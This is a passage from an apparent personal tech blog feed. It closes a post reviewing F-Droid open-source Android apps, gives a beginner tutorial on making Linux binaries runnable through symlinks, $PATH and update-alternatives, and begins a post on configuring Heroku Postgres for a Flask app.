my cards. And being an all time learner, I am never short of them.</span><br /><h3 id="mobileorg"><span style="font-family: Arial,Helvetica,sans-serif;">&nbsp;</span></h3><h3 id="mobileorg"><span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://f-droid.org/repository/browse/?fdfilter%3Dmobileorg&amp;fdid%3Dcom.matburt.mobileorg">MobileOrg</a></span></h3><span style="font-family: Arial,Helvetica,sans-serif;"><br /></span><span style="font-family: Arial,Helvetica,sans-serif;">Almost everything character of text I write is from Emacs (sparing the Java/Android apps). All my blog posts/ideas/brain dumps/plans (bla bla bla) are written in org mode. Besides org-mode itself, mobileOrg has been a great companion of mine since I have started following GTD.</span><br /><h3 id="aard"><span style="font-family: Arial,Helvetica,sans-serif;">&nbsp;</span></h3><h3 id="aard"><span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://f-droid.org/repository/browse/?fdid%3Daarddict.android">Aard</a></span></h3><br /><span style="font-family: Arial,Helvetica,sans-serif;">Although I don’t use this one too much, but it’s on my phone. It’s a quite nice offline dictionary. Come handy many times when I get into quarrels with my friends over meaning of words.</span><br /><h3 id="mathdroid"><span style="font-family: Arial,Helvetica,sans-serif;">&nbsp;</span></h3><h3 id="mathdroid"><span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://f-droid.org/repository/browse/?fdfilter%3Dmathdroid&amp;fdid%3Dorg.jessies.mathdroid">Mathdroid</a></span></h3><br /><span style="font-family: Arial,Helvetica,sans-serif;">It’s calculator done right. My phone’s (2.3.3) calculator is an insult to calculators. It lacks many functions which I need on daily bases. Mathdroid do that job. It is a nice simple calculator with many functions.</span><br /><h2 id="honest_review_of_the_fdroid"><span style="font-family: Arial,Helvetica,sans-serif;">&nbsp;</span></h2><h2 id="honest_review_of_the_fdroid" style="text-align: left;"><span style="font-size: x-large;"><span style="font-family: Arial,Helvetica,sans-serif;">Honest Review of the F-droid</span></span></h2><br /><span style="font-family: Arial,Helvetica,sans-serif;">It’s awesome. Because it’s all FOSS (Free and Open Source Software). I love using above apps (and few more I din’t mention) even if there are better closed alternatives. It makes me feel better. But honestly speaking, there’s no glamour. In the games section I couldn’t find any little bit funky game. Same story in most sections. But things will change. For good that is. Open source software are created by freedom lovers and truly generous people. Besides, I am thinking of writing an open source game (Note: I am just thinking :-P). I have a kind of nice concept in mind (which is eating dust in org files like all my other ideas).</span></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/n9C_ZniwOj0" height="1" width="1" alt=""/>http://\.github.io/\/github/2013/10/foss-in-android-android-app-store-with.html2013-05-08T00:00:00+05:30http://.github.io/\/github/2013/05/how-to-install-software-in-linux<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><a href="http://2.bp.blogspot.com/-LwNIMQDugwc/UYniJZ7TV5I/AAAAAAAAAgk/pvSbAPhtn8k/s1600/images.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="http://2.bp.blogspot.com/-LwNIMQDugwc/UYniJZ7TV5I/AAAAAAAAAgk/pvSbAPhtn8k/s1600/images.jpg" height="258" width="320" /></a>Package managers are awesome. As awesome as automatic software installation get you. Would it be apt, yum or pacman, they are all awesome for their systems. But sometimes we need to install binaries. Your package manager knows how to install a .deb or .rpm, but what about the stuff in that ./bin folder of the tar.bz2 bundle of latest version of your favorite software you just downloaded? No, it can&#8217;t be handled with the package manager.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <!-- more --><br /><h3 style="text-align: left;"></h3><h3 style="text-align: left;">Why installing binaries?</h3>Why would I need to use binaries you say!? Yea you are right, packaged software from the repositories of your trustworthy GNU/Linux distro is well tested and all, but sometime it&#8217;s not enough. Here are some reasons you might consider good enough for occasionally using binaries.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><blockquote class="tr_bq"><ul style="text-align: left;"><li><b>Software in repositories are not always up-to-date</b> (you know better Ubuntu users)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </li></ul></blockquote><blockquote class="tr_bq"><ul style="text-align: left;"><li><b>Some super awesome software is not available form repositories&nbsp;&nbsp;</b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </li></ul></blockquote><blockquote class="tr_bq"><ul style="text-align: left;"><li><b>You have compiled something yourself and you wanna use it as an installed software now&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b></li></ul></blockquote><blockquote class="tr_bq"><ul style="text-align: left;"><li><b>You have built a software/script yourself and want to use it directly from command line&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b></li></ul></blockquote>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; etc etc. There are many.<br /><h3 style="text-align: left;">How to execute binaries?</h3>I know you all know this, but let&#8217;s not leave the new guy behind. In Linux, when you have got a binary file (you can download latest firefox package for linux for an example), you need to first make it executable.<br />Try the following command for that.<br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chmod +x /path/to/binary/file</i></blockquote>This should be enough. You can now execute the binary by simply double clicking it, or from the terminal with just write it&#8217;s path in terminal and pressing enter.<br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./firefox&nbsp;</i><br /><enter></enter></blockquote><h4 style="text-align: left;"><enter>So what&#8217;s the fuss?</enter></h4><enter>Yea, it&#8217;s that simple to execute a binary. But wouldn&#8217;t it be better if we would not need to write the whole path to the file everytime we need to execute it? Wouldn&#8217;t it be sweet if we could just use it like any other command from the terminal, like &#8216;cd&#8217;? Yes I know it&#8217;ll be awesome.&nbsp;</enter><br /><h3 style="text-align: left;"><enter>How to directly install binaries in Linux</enter></h3><enter>There are many ways to do this. We&#8217;ll touch here some of them (enough of them that you&#8217;ll be able to install binaries on any Linux distro, would it be Ubuntu, Fedora, Arch or whatever). Let&#8217;s precede with the simplest of them.&nbsp;</enter><br /><h3 style="text-align: left;"><enter>Creating a symlink in the </enter><enter>$PATH</enter></h3><h3><enter></enter></h3><enter>We need some explanation here (I suppose). What is a symlink? What is $PATH?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />Well, symlink is thing you call &#8216;shortcut&#8217; in windows. It&#8217;s a symbolic link (shortcut) to some file or folder.&nbsp;</enter><br /><enter>And $PATH? It&#8217;s a list of all the directories (folders) in which our Linux system search for commands. Any executable file placed in any of the folders included in $PATH is treated as a command and can be directly executed from terminal. You can see what&#8217;s in $PATH on your system with this:&nbsp; </enter><br /><blockquote class="tr_bq"><enter><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo $PATH</i></enter><br /><enter></enter></blockquote><enter>So what we are gonna do is create a symlink of our binary file and place it in one of the folders in $PATH. That should be enough to make it a command in itself.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </enter><br /><blockquote class="tr_bq"><enter><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ln -s /path/to/file&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</i></enter></blockquote>&nbsp;Above is the command to create a symlink. It will create the symlink and place it in the $HOME (that&#8217;s your home folder). You can then move the link from there and place it in one of the folders in $PATH.<br /><br />Let&#8217;s do it with an example. Assuming we have the firefox extracted in a folder and located on system somewhere like:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /media/F/Setups/Linux/Web/Firefox/firefox</i></blockquote>Following command will create a symlink to our binary.<br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ln -s /media/F/Setups/Linux/Web/Firefox/firefox</i></blockquote>It should create a file called &#8216;firefox&#8217; in our file folder. Remember, this is not same as copying the file, it&#8217;s creating a symbolic link (shortcut). You can verify this with following command:<br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; file ~/firefox</i></blockquote>It&#8217;s output should be like:<br /><blockquote class="tr_bq"><i>firefox: symbolic link to `/media/F/Setups/Linux/Web/Firefox/firefox&#8217;</i></blockquote><br />Then move this file to somewhere in $PATH. You&#8217;ll need to use &#8216;sudo&#8217; for that as most of the folders in $PATH are not writable for ordinary users.&nbsp;&nbsp; <br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sudo mv ~/firefox /usr/local/bin</i></blockquote>WARNING: Do not create symlink with &#8216;sudo&#8217;<br /><h4 style="text-align: left;">Adding the folder to $PATH</h4>In previous method we saw to create a command (a.k.a installed binary) by placing the symlink in a folder which was already in $PATH. But we can do it the other way. We can add the folder containing our binary to the $PATH itself.<br />Here&#8217;s the command to do that for one terminal session.<br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; export PATH=&#8221;/path/to/binary/folder:$PATH&#8221;</i></blockquote><br />Don&#8217;t forget to replace &#8216;/path/to/binary/folder&#8217; with the path to the folder that&#8217;s containing your binary file.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />But this works only for current terminal session. As long as the terminal is closed, system will forget there&#8217;s a command as your binary. To make it work in all terminal sessions everytime, you&#8217;ll need to copy above command and place it in your &#8216;~/.bashrc&#8217; or &#8216;~/.profile&#8217; file (just put it in the end of either of the above files).&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><br /><h4 style="text-align: left;">Using <i>update-alternatives</i> command [RECOMMENDED]</h4>Well, this is a post for Linux newbies, so I assume you are using some variant of Ubuntu. Ubuntu (may be other Debian based system and may be Fedora as well) have a very useful command &#8216;update-alternatives&#8217; that let you install alternative versions of different software and to easily configure which one you want to use.<br />As in our example case, you might have firefox already installed and re-installing the binary will do nothing but confuse the system (although it&#8217;ll not get confused, but you will).<br /><br />Syntax for using above mentioned command is easy and straight forward. Consider taking a look at &#8217;<i>man update-alternatives&#8217;</i> or at least &#8217;<i>update-alternatives &#8211;help</i>&#8217;.<br /><br />What &#8216;update-alternatives&#8217; actually do is similar to what we did in method 1. It creates a symlink to our binary file and automatically place in a folder on $PATH (we need to tell which one). But what it do extra is, make the command available to all users and keep a record of which one of many executables you gonna install under same will be available from command line.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />Here&#8217;s the quick example for our use case, i.e. installing a binary.<br />Let&#8217;s assume we already have firefox installed in the system, but we want to install firefox-nightly under same name (firefox that is) and switch between two whenever we want.<br />Use following command:<br /><blockquote class="tr_bq"><i>sudo update-alternatives &#8211;install /usr/local/bin firefox /path/to/firefox-nightly 1</i></blockquote><br />Here&#8217;s the quick illustration of what&#8217;s going on in above command:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>sudo</b> &#8211; You need to be &#8216;root&#8217; to use this command, so sudo<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>update-alternatives</b> &#8211; It&#8217;s the command itself<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>&#8211;install</b> &#8211; It tells what action should be taken for updating alternative software. Here we wanna install new one.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>/usr/local/bin</b> &#8211; It&#8217;s the folder in which we want to create the symlink. It must be in the $PATH.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>firefox</b> &#8211; It&#8217;s the name under which you want to install the executable.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>/path/to/firefox-nightly</b> &#8211; It&#8217;s the path to the file which should execute on running above named command<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>1</b> &#8211; It&#8217;s the priority that should be given to the command we are installing out of other commands with same name already present on our system.&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />We now have two versions of firefox. The one which was already present and the nightly build we installed afterwards. Following command can be used whenever we want to make a switch between the software that should be run by &#8216;firefox&#8217; command (i.e stable or nightly or whatever):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /><blockquote class="tr_bq"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; update-alternatives &#8211;config firefox</i></blockquote>It&#8217;ll give a list of the firefox versions installed and you can choose whichever you want to use.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />I am sure there&#8217;ll be other ways of installing binaries as well (this is GNU/Linux after all), but these are the ones I use most often (and that are on my mind right now). If you know other better ways, please do inform me, or if I am doing something wrong here or you want me to explain something better, please mention in comments. </div><hr /><br /><b><i>Circle Beat Of The Geek on</i></b> <a href="https://plus.google.com/109838896781876000861" target="_blank">Google Plus</a><br /><i><b>OR Like us on</b></i> <a href="https://www.facebook.com/pages/Beat-Of-The-Geek/251813454834549" target="_blank">Facebook</a> <b><i>&nbsp;OR Follow on</i></b> <a href="https://twitter.com/#!/beatofthegeek" target="_blank">Twitter</a></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/Ym1aJJnq9QU" height="1" width="1" alt=""/>http://\.github.io/\/github/2013/05/how-to-install-software-in-linux.html2013-04-30T00:00:00+05:30http://.github.io/\/github/2013/04/how-to-setup-postgresql-python-flask<div class='post'>
<a href="http://b.vimeocdn.com/ps/245/288/2452886_300.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="http://b.vimeocdn.com/ps/245/288/2452886_300.jpg" /></a>So I was like setting up a python web app on Heroku cloud platform and it was awesome. You don&#8217;t need to break a sweat to deploy something like a ROR app but things are different when it come to micro-frameworks like Python-flask.<br />I chose flask for the beauty and simplicity, and because I wanted to do everything myself. The app has postgres-sql as it&#8217;s database backend. Deploying apps on Heroku is easy and all but there are some things which are not that easy to find in official docs and tutorials. <br />So here we shall proceed with setting up postgres (with Python) on Heroku.<br /><!-- more --><br /><h3>Install flask-sqlalchemy and psycopg2</h3>Since we are using python we need these libraries for accessing the services. flask-sqlalchemy is a flask extension for the infamous sqlalchemy library and we need psychopg2 to interact with the postgres itself.<br />If you are using other language the you obviously need to use relative tools.<br />Above libraries can be installed with<br /><blockquote class="tr_bq"><i>pip install flask-sqlalchemy psychopg2</i></blockquote>on your local setup. Then do <br /><blockquote class="tr_bq"><i>pip freeze &gt; requirements.txt</i></blockquote>This will put the newly installed libraries in requirements.txt file so they will get automagically installed on your Heroku instance when you push the code.<br /><br /><h4>Might need to install this on local machine to compile psycopg2</h4><blockquote class="tr_bq"><i>python-dev</i></blockquote>Before installing <i>psycopg2</i> on your local setup, you should install python-dev tools on your local linux box.<br /><br /><h3>Add heroku postgres-dev addon (it provide 10k rows for free)</h3>Heroku provides the database service as an addon to the standard platform. So we need to add the addon to our setup to use postgres.<br /><br />Run this command on your local terminal (obviously you need to have heroku-belt installed)<br /><br /><blockquote class="tr_bq"><i>heroku addons:add heroku-postgresql:dev</i></blockquote><br /><h3>After this the database is setup, now promote it to $DATABASE_URL</h3>Database is now setup. But remember how we access the database on non-cloud (traditional they call it) services? Yes, we need the url to access database (it&#8217;s something like &#8221;<i>postgresql://pguser:password/dbname</i>&#8221;). Heroku creates an environment variable with a color name (you will see it when you add the addon).<br />We need to use heroku-belt&#8217;s <i>pg:promote</i> command to enable $DATABASE_URL environment variable.<br /><blockquote class="tr_bq"><i>heroku pg:promote HEROKU_POSTGRESQL_COLOR</i></blockquote><h3>Now set <i>SQLALCHEMY_DATABASE_URI</i> in flask app </h3>Now we have the database URI. We need to access it in the database. We can do this by simply accessing the $DATABASE_URL environment variable. This is how to do it with a flask app.<br /><blockquote class="tr_bq"><i>SQLALCHEMY_DATABASE_URI = os.environ.get(&#8220;DATABASE_URL&#8221;,&#8221;postgresql://pguser:password/dbname&#8221;)</i></blockquote><br />This 